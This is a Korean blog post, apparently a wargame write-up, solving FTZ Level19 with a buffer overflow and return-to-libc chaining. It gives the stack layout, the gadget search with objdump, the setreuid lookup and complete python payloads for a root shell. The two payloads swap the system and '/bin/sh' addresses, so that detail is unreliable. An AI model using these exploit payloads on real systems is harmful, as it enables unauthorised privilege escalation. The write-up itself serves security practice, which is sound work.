일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
- vim
- vi
- Find
- #MINT64 #Sqix
- #IntelManual #segment Descriptor #세그먼트 디스크립터 #MINT64 #Sqix
- command
- Sqix
- 오버워치 세이버메트릭스
- #Best of the Best #OS #MINT64 #Sqix
- ftz
- Overwatch League SaberMetrics
- Network
- KASAN
- 오버워치
- vi 외부 명령어
- libpcap
- BEST of the BEST
- C++11
- >
- #
- FTZ 레벨2
- #IntelManual
- 인터럽트
- libtins
- #Qt Creator
- linux
- Today
- Total
Sqix
FTZ Level19 본문
RTL 문제가 나왔습니다. 그런데 여기엔 setreuid가 없네요?
dummy가 20 bytes이니 총 44bytes(SFP)를 A로 덮고 RET는 system으로 덮고 RET + 4를 다시 A로 덮고(RET 이후 돌아갈 함수의 주소, ebp + 4), RET + 8을 /bin/sh로 넣어 주면(arg00) /bin/sh을 구하는 RTL을 할 수 있습니다.
stack 구조
[ buf 20 ] [ dummy 20 ] [ SFP 4 ] [ RET 4 ] [ FUNC ADDR 4 ] [ ARGV00 ] [ ARGV01 ] ...
exploit : (python -c 'print "A" * 44 + "\xa4\x7e\x12\x42" + "A" * 4 + "\xc0\xf2\x03\x42"'; cat) | ./attackme
우선 /bin/sh는 쉽게 구할 수 있습니다. 하지만, 다음 권한으로 넘어가기 위해서는 setreuid가 필요하죠.
그동안 3095 3096 3097 ... 등으로 setreuid의 argv00, argv01이 증가해 왔으니 setreuid(3100, 3100);을 넣는다면 level20의 권한을 얻을 수 있습니다.
다만, 어떻게 두 개의 함수를 호출할 것인가? 가 관건입니다.
여기서는 RTL Chaining 기법을 이용해야 합니다. setreuid 함수의 인자가 두 개이기 때문에, BOF + RTL을 통해서 한 번 더 함수 호출을 해 주어야 합니다.
18번에서 RTL을 풀 때, system(/bin/sh) 다음의, 즉 [ RET (4) ] [ next ] [ argv00 ] [ argv01 ] ... ... 에서 next 부분을 dummy로 덮었었다면
이제 이 부분을 다음 함수의 인자 수 만큼 pop이 있고, 거기에 ret이 더해진 gadget을 찾아야 합니다.
setreuid로 권한을 먼저 올려야 하므로, next 부분에 setreuid의 인자들을 정리해 줄 수 있는 pop-pop, 그리고 다시 돌아올 수 있는 ret가 필요합니다.
$ objdump -d attackme | grep "ret"
804849d: 5b pop %ebx
804849e: 5d pop %ebp
804849f: c3 ret
pop pop pop ret gadget이 있네요. pop pop ret만 이용하겠습니다.
system 함수를 사용하고 나서 pop ret gadget은, 굳이 더 이상 chaining을 할 필요가 없으니 필요 없습니다.
0x0804849d : pop-pop-ret gadget
여기서는 payload 구성을 다음과 같이 해 주면 됩니다.
[ A * 44 ] [ setreuid ] [ pop pop ret gadget ] [ 3100 ] [ 3100 ] [ system ] [ dummy ] [ /bin/sh ]
setreuid의 주소는 objdump -d /lib/tls/libc.so.6 | grep setreuid로 구할 수 있습니다.
[level19@ftz level19]$ objdump -d /lib/tls/libc.so.6 | grep setreuid
420d7920 <setreuid>:
420d794c: 77 05 ja 420d7953 <setreuid+0x33>
420d7963: eb e9 jmp 420d794e <setreuid+0x2e>
420d7a1c: e8 ff fe ff ff call 420d7920 <setreuid>
-> setreuid의 주소 : 0x420d7920
payload 구성은 다음과 같습니다.
(python -c 'print "A"*44 + "\x20\x79\x0d\x42" + "\x9d\x84\x04\x08" + "\x1c\x0c\x00\x00" + "\x1c\x0c\x00\x00" + "\xc0\xf2\x03\x42" + "A" * 4 + "\xa4\x7e\x12\x42"'; cat) | ./attackme
성공
FTZ Level20은 FSB인데, 이제는 사라진 기법이니 굳이 공부하지 않도록 하겠습니다.
'Wargame > FTZ' 카테고리의 다른 글
FTZ All Clear! (0) | 2018.07.21 |
---|---|
FTZ Level18 (0) | 2018.07.20 |
FTZ Level17 (0) | 2018.07.20 |
FTZ Level16 (0) | 2018.07.20 |
FTZ Level15 (0) | 2018.07.10 |